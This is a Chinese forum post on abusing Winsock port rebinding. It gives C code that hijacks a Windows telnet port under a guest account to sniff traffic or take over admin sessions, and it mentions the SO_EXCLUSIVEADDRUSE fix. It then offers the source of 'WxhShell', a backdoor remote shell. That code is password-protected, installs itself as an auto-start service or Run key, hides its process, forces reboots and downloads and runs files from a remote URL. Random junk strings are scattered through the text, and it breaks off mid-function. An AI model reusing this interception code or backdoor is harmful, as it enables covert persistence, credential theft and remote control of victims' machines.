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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mE_%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); | P`b"x  
(:F]@vT  
  saddr.sin_family = AF_INET; +r7hc;+G  
kR3wbA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %a|Qw(4\  
(E7"GJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &nwS7n1eb  
EIfqRRTA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h(R7y@mp\0  
HEAW](s  
  这意味着什么?意味着可以进行如下的攻击: % 8wBZ~1-  
$-u c#57  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :,M+njcFc  
'HJ+)[0X*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v 2 p  
(P;TM1k  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K^o{lyK;@~  
(EvYrm4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bI|{TKKN&P  
TGU7o:2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J9OL>!J  
QAt]sat  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?3a=u<  
V)`A,7X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P{ 9wJ<  
,|A6l?iV  
  #include ?@Q0;LG  
  #include }EYmz/nN  
  #include :5$ErI  
  #include    ID`Ot{ y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,A $IFE  
  int main() (F 9P1Iq  
  { v#d(Kj  
  WORD wVersionRequested; GyMN;|  
  DWORD ret; /W`CqJk-*.  
  WSADATA wsaData; 60]VOQku  
  BOOL val; |&xaV-b9W  
  SOCKADDR_IN saddr; wN10Drc   
  SOCKADDR_IN scaddr; 4`mf^K f  
  int err; Ph%ylS/T{  
  SOCKET s; {[`(o 0@(  
  SOCKET sc; I'^XEl?   
  int caddsize; !.^x^OK%y  
  HANDLE mt; I\1"E y  
  DWORD tid;   9C2pGfEbn}  
  wVersionRequested = MAKEWORD( 2, 2 ); M$Ui=GGq  
  err = WSAStartup( wVersionRequested, &wsaData ); "U"fsAc#  
  if ( err != 0 ) { 0^\H$An*k  
  printf("error!WSAStartup failed!\n"); S.Kcb=;"L  
  return -1; j,;f#+O`g  
  } J%|;  
  saddr.sin_family = AF_INET; )/JVp>  
   ] Ok &%-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /4OQx0Xmm  
 B9y5NX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9H;Os:"\|  
  saddr.sin_port = htons(23); }yn%_KQ0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [W{|94q  
  { X Db%-  
  printf("error!socket failed!\n"); kTfRm^  
  return -1; n0gjcDHQ  
  } -?:8s v*X  
  val = TRUE; 1Az&BZU[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5+!yXkE^e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Pv,PS.,-  
  { j>?nL~{  
  printf("error!setsockopt failed!\n"); u{&=$[;  
  return -1; lK7:qo  
  } }~=<7|N.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @%2crJnkS  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 A'7Y{oPHX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $H.U ~  
{fDRVnI?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \p( 0H6  
  { BeQ'\#q,  
  ret=GetLastError(); -zMvpe-am&  
  printf("error!bind failed!\n"); $*$4DG1gaR  
  return -1; &Ep$<kx8  
  } VyN F)$'T  
  listen(s,2); }Hg\ tj}i  
  while(1) Ye4 &4t  
  { tDah@_  
  caddsize = sizeof(scaddr); UMBeY[ ?  
  //接受连接请求 xi.?@Lff  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); x=a#|]ngG  
  if(sc!=INVALID_SOCKET) y7CXE6Y  
  { K$D+TI)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [h-NX  
  if(mt==NULL) E #Ue9J  
  { .#Z'CZO|  
  printf("Thread Creat Failed!\n"); fKFD>u 0%  
  break; ^_3 $f  
  } 0YL*)=pD,  
  } lul  
  CloseHandle(mt); 87B$  
  } .@+M6K*  
  closesocket(s); `L <sZ;Cj  
  WSACleanup(); m(:R(K(je  
  return 0; ~N| aCi-X  
  }   "QS(4yw?jg  
  DWORD WINAPI ClientThread(LPVOID lpParam) g8&& W_BI  
  { g#l!b%$  
  SOCKET ss = (SOCKET)lpParam; 35AH|U7b  
  SOCKET sc; tC$+;_=+F  
  unsigned char buf[4096]; %La/E#  
  SOCKADDR_IN saddr; muF&t'k  
  long num; ow 6\j:$?  
  DWORD val;  -L2 +4  
  DWORD ret; (QqeMG,Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 J0e^v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :N^B54o%6  
  saddr.sin_family = AF_INET; -{JReplc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K iXD1Zpz  
  saddr.sin_port = htons(23); s nxwe  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v,N!cp1  
  { NcwUK\  
  printf("error!socket failed!\n"); XPq`; <G  
  return -1; oa7 N6  
  } 5syzh S  
  val = 100; ASMItT  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w""u]b%:r  
  { PIFZ '6gn  
  ret = GetLastError(); 7KRNTnd  
  return -1; &1=,?s]&  
  } Fd80T6[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `LIlR8&@aX  
  { WTt /y\'6  
  ret = GetLastError(); K^GvU0\  
  return -1; ;UX9Em  
  } }V.fY3J-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >.C$2bW<L  
  { r z@%rOWV  
  printf("error!socket connect failed!\n"); v [x 5@$  
  closesocket(sc); #3?"#),q  
  closesocket(ss); Ue,eEer  
  return -1; 23p.g5hJi  
  } e*( _Cvxp  
  while(1) =yqg,w&Q  
  { jamai8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  }l]r-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 HP3%CB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <>-gQ9  
  num = recv(ss,buf,4096,0); M_75bU  
  if(num>0) Ud>hDOJ3  
  send(sc,buf,num,0); hN1 [*cF  
  else if(num==0) n],cs  
  break; 4T&Jlu?:  
  num = recv(sc,buf,4096,0); p{r{}iYI  
  if(num>0) R~TG5^(  
  send(ss,buf,num,0); ko!aX;K  
  else if(num==0) ^H<VH  
  break; A"+t[0$.  
  } 436SIh  
  closesocket(ss); #vBSg  
  closesocket(sc); R5uz<  
  return 0 ; >i61+uzEd+  
  } 55>+%@$,a  
c No)LF  
Pff-eT+~m  
========================================================== .&^M Z8  
FuBUg _h  
下边附上一个代码,,WXhSHELL m]=G73jzO  
.:;q8FL/  
========================================================== H0.&~!,*  
l$!NEOK  
#include "stdafx.h" )In;nc  
.J5or  
#include <stdio.h> NH1|_2  
#include <string.h> j=>WWlZ  
#include <windows.h> e<Oz%  
#include <winsock2.h> V-i:t,*lk(  
#include <winsvc.h> kwt;pxp i  
#include <urlmon.h> ?0s&Kz4B  
"bO]AG  
#pragma comment (lib, "Ws2_32.lib") G CcSI;w  
#pragma comment (lib, "urlmon.lib") J/vcP  
8Waic&lX~  
#define MAX_USER   100 // 最大客户端连接数 Z>@\!$Mc  
#define BUF_SOCK   200 // sock buffer 6X VJ/qZ  
#define KEY_BUFF   255 // 输入 buffer u`*$EP-%  
c/3]M>+M  
#define REBOOT     0   // 重启 ?* dfIc  
#define SHUTDOWN   1   // 关机 $~A\l@xAG  
zfml^N  
#define DEF_PORT   5000 // 监听端口 gp{P _  
mA3yM#  
#define REG_LEN     16   // 注册表键长度 0R,Y[).U  
#define SVC_LEN     80   // NT服务名长度 Qm?o^%a  
h&{>4{  
// 从dll定义API xoE,3Sn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4Gy3s|{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hA"z0Fszh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iF+50d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1 7hXg"B  
0L7^Vr)  
// wxhshell配置信息 D4GXZX8 K  
struct WSCFG { jBd9  $`  
  int ws_port;         // 监听端口 :4238J8  
  char ws_passstr[REG_LEN]; // 口令 8ax3"G  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'DH_ihZ  
  char ws_regname[REG_LEN]; // 注册表键名 WOGMt T%  
  char ws_svcname[REG_LEN]; // 服务名 g[xn0 rG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3Q+THg3~?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qSL~A-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l)1ySX&BU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nx(y_.I{K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f^XfIH_#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =Sn!'@%U]  
B;L^!sLP  
}; 2) A$bx  
HR k^KB  
// default Wxhshell configuration /#?i+z   
struct WSCFG wscfg={DEF_PORT, C? b_E  
    "xuhuanlingzhe", g\,HiKBXd  
    1, ?DJ,YY9P  
    "Wxhshell", ( e(<4-&  
    "Wxhshell", %G~%:uJ5  
            "WxhShell Service", N &vQis  
    "Wrsky Windows CmdShell Service", ((_v>{  
    "Please Input Your Password: ", d4-cZw}+  
  1, .aR$ou,7  
  "http://www.wrsky.com/wxhshell.exe", /E6 Tt  
  "Wxhshell.exe" "{(4  
    }; JE+{Vx}  
gMZ?MG  
// 消息定义模块 4,R1}.?BzJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7Y'.yn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V|dKKb[Lve  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D&&11Iz&  
char *msg_ws_ext="\n\rExit."; %OsV(7  
char *msg_ws_end="\n\rQuit."; BhJ~jV"  
char *msg_ws_boot="\n\rReboot..."; <^jW  
char *msg_ws_poff="\n\rShutdown..."; X?.LA7)CK  
char *msg_ws_down="\n\rSave to "; FY]z*=  
30/(  
char *msg_ws_err="\n\rErr!"; %(wa~:m+S-  
char *msg_ws_ok="\n\rOK!"; qdVExO&  
L~(`zO3f  
char ExeFile[MAX_PATH]; v~>4c<eG  
int nUser = 0; &+t,fwlM  
HANDLE handles[MAX_USER]; }u..m$h  
int OsIsNt; 3&JsYQu  
K29KS)~;W  
SERVICE_STATUS       serviceStatus; X'>]z'0W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7:T 5P  
BI6o@d;=4  
// 函数声明 ?en%m|}0  
int Install(void); u7<s_M3%N  
int Uninstall(void); A@"CrVE  
int DownloadFile(char *sURL, SOCKET wsh); L pdp'9>I  
int Boot(int flag); /F 1mYq~  
void HideProc(void); }mw31=2bD  
int GetOsVer(void); C_Z[ul  
int Wxhshell(SOCKET wsl); X\1'd,V  
void TalkWithClient(void *cs); dPRGL hWF  
int CmdShell(SOCKET sock); e[8p/hId  
int StartFromService(void); 7uRXu>h  
int StartWxhshell(LPSTR lpCmdLine); a|@^ N  
. RNQlh3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'rdg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Nl1v*9_x  
Jk7[}Jc$  
// 数据结构和表定义 t1 .6+  
SERVICE_TABLE_ENTRY DispatchTable[] = wBXgzd%L  
{ KArnNmJ9  
{wscfg.ws_svcname, NTServiceMain}, K]q OLtc  
{NULL, NULL} }3!.e  
}; PV%7 m7=x  
 p68) 0  
// 自我安装 n2H2G_-L[  
int Install(void) ? <slB>8  
{ e&u HU8k*  
  char svExeFile[MAX_PATH]; %+9Mr ami  
  HKEY key; PF- sb&q  
  strcpy(svExeFile,ExeFile); G}\E{VvWh  
l$Y7CIH  
// 如果是win9x系统,修改注册表设为自启动 |&TRN1  
if(!OsIsNt) { N LC}XL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #3u;Ox  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @4b"0ne}h  
  RegCloseKey(key); A_@#V)D2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { . \fzK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p]#%e0  
  RegCloseKey(key); /\_ s  
  return 0; mOyBSOad4  
    } ?ei7jM",  
  } QSy=JC9  
} /cDla5eej  
else { O.*,e  
8<6;X7<-  
// 如果是NT以上系统,安装为系统服务 */RtN`dh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P{)eZINlE  
if (schSCManager!=0) !T|X/B R  
{ TP oP%Yj"  
  SC_HANDLE schService = CreateService 70m}+R(`  
  ( F,`y_71<  
  schSCManager, qgU$0enSs  
  wscfg.ws_svcname, o$YL\ <qp  
  wscfg.ws_svcdisp, 3%xj-7z W  
  SERVICE_ALL_ACCESS, 9[B*CD |  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hM(|d@)  
  SERVICE_AUTO_START, jzu1>*ok  
  SERVICE_ERROR_NORMAL, *A O/$K@Ma  
  svExeFile, .t0Q>:}&b  
  NULL, ueYZM<],  
  NULL, KaHjL&!  
  NULL, bY;ah;<  
  NULL, oO>mGl36H  
  NULL ^'C1VQ%  
  ); ; eq^m,oz  
  if (schService!=0) hHdH#-O:4"  
  { h4S,(*V$!  
  CloseServiceHandle(schService); (J~n|hA2/D  
  CloseServiceHandle(schSCManager); 6`{Y#2T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i}+K;,Da:8  
  strcat(svExeFile,wscfg.ws_svcname); h{kAsd8 G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4jj@"*^a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k| nv[xY0  
  RegCloseKey(key); c ++tk4  
  return 0; do%6P^ qA  
    } 2|Hq[c=~  
  } 9#.nNv*z3  
  CloseServiceHandle(schSCManager); a%sr*`  
} ]7-*1kL8=~  
} ^6|Q$]}Ok  
>ZuWsA0q  
return 1; /WB^h6qg  
} 4l E j/#}  
u-At k-2M  
// 自我卸载 X61]N^y  
int Uninstall(void) S=ebht=  
{ q3e %L  
  HKEY key; Sim\+SL{#  
}^^X-_XT  
if(!OsIsNt) { sC48o'8(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AY{caM  
  RegDeleteValue(key,wscfg.ws_regname); SI)u@3hl&w  
  RegCloseKey(key); HkD6aJ:kA!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lt.a@\J'_  
  RegDeleteValue(key,wscfg.ws_regname); jX!,xS%(  
  RegCloseKey(key); vz*QzVk1  
  return 0; iXMs*G cK  
  } ,l#Ev{  
} Je[wGF:%:$  
} cWP34;NNM  
else { m49GCo k+  
~%B^`s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =M)+O%`*6  
if (schSCManager!=0) u!];RHOp|  
{ )}1 J.>5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r%JJ5Al.S  
  if (schService!=0) 8/x@|rjW  
  { #7+oM8b  
  if(DeleteService(schService)!=0) { 34Q l7LQp[  
  CloseServiceHandle(schService); AF>J8V  
  CloseServiceHandle(schSCManager); fn(KmuNA  
  return 0; |[;9$Vn  
  } +HQX]t:Y  
  CloseServiceHandle(schService); lO9ML-8C1  
  } 5\V>Sj(  
  CloseServiceHandle(schSCManager); f+j\,LJ  
} &aqF ||v%)  
} D|@*HX@_Xp  
G< l+94(  
return 1; \m~ ?mg"#  
} N2vSJ\u  
M3c-/7  
// 从指定url下载文件 <<W{nSm#  
int DownloadFile(char *sURL, SOCKET wsh) K>Dn#"{Y  
{ 9o"k 7$  
  HRESULT hr; $a>,sL&;  
char seps[]= "/"; +*]"Yo~]}  
char *token; D.9qxM"Z>  
char *file; W~z 2Q so  
char myURL[MAX_PATH]; +hI:5(_  
char myFILE[MAX_PATH]; Va"Q1 *"  
9aFu51  
strcpy(myURL,sURL); +] >o@  
  token=strtok(myURL,seps); Tz[ck 'k  
  while(token!=NULL) -/Pg[Lx7Pb  
  { w5w,jD[  
    file=token; OOn{Wp  
  token=strtok(NULL,seps); ov*?[Y7|~  
  } U}<5%"!;  
E*'sk  
GetCurrentDirectory(MAX_PATH,myFILE); kAA1+rG  
strcat(myFILE, "\\"); :*Lr(-N-  
strcat(myFILE, file); 7)tkqfb]  
  send(wsh,myFILE,strlen(myFILE),0); ~v"4;A 6  
send(wsh,"...",3,0); @&p:J0hbp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); awkPFA*c'  
  if(hr==S_OK) :jlKj}4A  
return 0; 3oc p4x`[  
else E1IT>_  
return 1; Ybo:2e  
ce@1#}*  
} }W^%5o87{  
vVQwuV  
// 系统电源模块 \!M6-kmi  
int Boot(int flag) Is1P,`*!  
{ ^)oBa=jL4  
  HANDLE hToken; viB'ul7o  
  TOKEN_PRIVILEGES tkp; A?i ~*#wE  
Wu3or"lcw*  
  if(OsIsNt) { g<pr(7jO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yNCd} 4Ym5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [qbZp1s|(  
    tkp.PrivilegeCount = 1; 4&%0%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,Ta k',  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B;x5os  
if(flag==REBOOT) { ybNo`:8 A;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WxLbf +0o  
  return 0; M3 MB{cA2  
} Iv])s  
else { }7?_>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6 G.(o  
  return 0; C.qN Bl*  
} 'D_a2xo0  
  } =r z7x  
  else { :%G_<VAo!  
if(flag==REBOOT) { o;#:%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lTb4quf8I  
  return 0; ymH>] cUm  
} ?='2@@8;  
else { 4z<nJOEh[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j.=&qYc0"  
  return 0; h</,p49gM  
} ]R%[cr  
} XhEZTg;  
Ckd j|  
return 1; \Lu aI  
} /LwS|c6}}  
\f~m6j$D_  
// win9x进程隐藏模块 `CpfQP&^  
void HideProc(void) XZ%3PMq  
{ nA owFdCD  
6g*?(Y][  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <pA%|]  
  if ( hKernel != NULL ) "&Q sv-9t  
  { 2{U5*\FhVX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); co^bS;r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `qoRnG  
    FreeLibrary(hKernel); 5&)T[Q X`  
  } B&fH FyK1n  
HSwC4y}  
return; 2 |`7_*\  
} l4Au{%j\  
6roq 1=   
// 获取操作系统版本 O>R@Xj)M  
int GetOsVer(void) K HyVI6N[  
{ P^(uS'j)+  
  OSVERSIONINFO winfo; \_io:{M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^VI\:<\{  
  GetVersionEx(&winfo); g'X{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fQm3D%  
  return 1; edai2O  
  else uNKf!\Y  
  return 0; J497 >w[  
} hMCf| e.UY  
#W$6[#7=I  
// 客户端句柄模块 d+45Y,|  
int Wxhshell(SOCKET wsl) 6~34L{u  
{ d+qeZGg^A  
  SOCKET wsh; Xsk/U++  
  struct sockaddr_in client; `. i #3P  
  DWORD myID; (N"9C+S}  
953GmNZ7  
  while(nUser<MAX_USER) HIGTo\]Z  
{ &s#OiF8  
  int nSize=sizeof(client); mUan(iJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *""iXi[  
  if(wsh==INVALID_SOCKET) return 1; hKVb#|$  
= }ELu@\V[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s4uZ>  
if(handles[nUser]==0) }A}cq!I^  
  closesocket(wsh); :>C D;  
else *epK17i=  
  nUser++; LbkQuq/d  
  } U| T}0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Sq ]VtQ(  
8q]_> X  
  return 0; ^*G UcQ$  
} bblEZ%  
t5CJG'!ql  
// 关闭 socket .Te GA;  
void CloseIt(SOCKET wsh) Skl:~'W.&|  
{ 5X PoQ^  
closesocket(wsh); 5Lm-KohT'  
nUser--; ;.66phe  
ExitThread(0); :]icW ^%  
} aH7@:=B  
G>edJPfQ  
// 客户端请求句柄 QsX`IYk  
void TalkWithClient(void *cs) M1z ?E@kz  
{ <<DPer2  
r}:D g fn  
  SOCKET wsh=(SOCKET)cs; .PD_Vv>C/>  
  char pwd[SVC_LEN]; B.A;1VE5  
  char cmd[KEY_BUFF]; I p<~Y  
char chr[1]; sF Ph?  
int i,j; nP&6i5s%  
xsIfR3Ze9  
  while (nUser < MAX_USER) { J``5;%TJp  
eN'b" _D  
if(wscfg.ws_passstr) { 6W< Ig;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j/8q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CZ!gu Y=  
  //ZeroMemory(pwd,KEY_BUFF); naiQ$uq0  
      i=0; w7E#mdW  
  while(i<SVC_LEN) { U#x`u|L&6  
c8N pk<  
  // 设置超时 zh{I;~syh  
  fd_set FdRead; # uy^AC$  
  struct timeval TimeOut; _Tf %<E  
  FD_ZERO(&FdRead); \#v(f2jPF  
  FD_SET(wsh,&FdRead); *:% I|5  
  TimeOut.tv_sec=8; Z,-J tl  
  TimeOut.tv_usec=0; UGxF}Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %CZGV7JdA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IL,iu  
33ZHrZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QFB2,k6jN  
  pwd=chr[0]; _VB;fH$  
  if(chr[0]==0xd || chr[0]==0xa) { 4j}.=u*X7  
  pwd=0; @X2zIFm  
  break; ?AVnv(_  
  } bw)E;1zo  
  i++; =)#<u9 qqL  
    } Z6zLL   
[x%8l,O #l  
  // 如果是非法用户,关闭 socket eNK6=D|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y(*5qa<>  
} 4av  
^jXKM!}-E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `46|VQAx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S\ K[l/  
z%]3`_I  
while(1) { _} j6Pw'  
g* -}9~  
  ZeroMemory(cmd,KEY_BUFF); L'$({  
Zbr1e5?  
      // 自动支持客户端 telnet标准   =Qn8Y`U  
  j=0; j*FpQiBoT  
  while(j<KEY_BUFF) { i!G<sfL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L<G6)'5W  
  cmd[j]=chr[0]; &gP1=P,!  
  if(chr[0]==0xa || chr[0]==0xd) { 'JO}6 ;W  
  cmd[j]=0; |fb*<o eT  
  break; *&5./WEOH  
  } uG+eF  
  j++; LWxP}? =  
    } [B^V{nUBc  
&Z}}9dd  
  // 下载文件 pf#R]  
  if(strstr(cmd,"http://")) { Abpzf\F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kaRjv   
  if(DownloadFile(cmd,wsh)) *c( J4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s]HJcgI  
  else x&N@R?AG1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m;sYg  
  } UZL-mF:)&  
  else { .G}$jO}  
vos-[$  
    switch(cmd[0]) { ZSB;4 ?:h  
  2h) *  
  // 帮助 OTEx9  
  case '?': { j'XND`3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w[uw hd  
    break; uZP( -}  
  } lrgvY>E0  
  // 安装 /GA-1cS_(  
  case 'i': { 5r0Sl89J  
    if(Install()) !MOcF5M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PkOtg[Z  
    else {\ VmNnw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /AIFgsaY  
    break; [C3wjYi  
    } m~@Lt~LZs  
  // 卸载 G&yF9s)Lvs  
  case 'r': { ^J@ Xsl  
    if(Uninstall()) ;?gR,AKZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RRtOBrIedI  
    else km}E&ao  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CbMClnF  
    break; $cGV)[KWp@  
    } 'l1cuAP!+  
  // 显示 wxhshell 所在路径 InG<B,/W?  
  case 'p': { ^Uldyv/  
    char svExeFile[MAX_PATH]; K&&YxX~ 3  
    strcpy(svExeFile,"\n\r"); ?YM0VB,y  
      strcat(svExeFile,ExeFile); g:>dF#  
        send(wsh,svExeFile,strlen(svExeFile),0); K14{c1  
    break; xQ=L2pX  
    } ,f .#-  
  // 重启 kCKCJ }N  
  case 'b': { v8THJf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &RlYw#*1.  
    if(Boot(REBOOT)) 6w0r)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~gEd (  
    else { )7F$:*e  
    closesocket(wsh); s=XqI@  
    ExitThread(0); mTa^At"  
    } V/8yW3]Xy  
    break; <h~_7Dn  
    } "'c =(P  
  // 关机 6o GF6C  
  case 'd': { g1q%b%8T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rgu7g  
    if(Boot(SHUTDOWN)) M,eq-MEK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s`L>mRw`  
